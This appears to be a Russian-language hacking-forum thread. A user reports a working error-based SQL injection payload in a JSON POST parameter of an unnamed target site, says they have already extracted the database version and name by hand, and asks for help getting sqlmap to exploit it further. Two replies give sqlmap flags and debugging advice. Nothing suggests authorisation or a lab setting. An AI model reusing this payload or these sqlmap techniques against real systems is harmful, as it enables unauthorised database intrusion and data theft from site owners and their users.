SQLmap не может подцепить, кто может попробовать раскрутить ?

[Dead_silence]

SQLmap не может подцепить, кто может попробовать раскрутить ?

post
{"search_status":"'or(ExtractValue(1,concat(0x3a,(select(version())))))='1"}

руками версию и название бд вытащил и Акуша смогла но вот sqlmap не хочет это видеть, кто может помочь ?

 

[Satie]

Попробуй просто --data="search_status=1*"

 

[c0d3x]

Попробуй просто --data="search_status=1*"

С JSON это не прокатит.

{"search_status":"'or(ExtractValue(1,concat(0x3a,(select(version())))))='1"}

Такой вектор в мапе есть. Скорее всего неправильно дата в JSON передается, через -v5 глянь как запрос идет.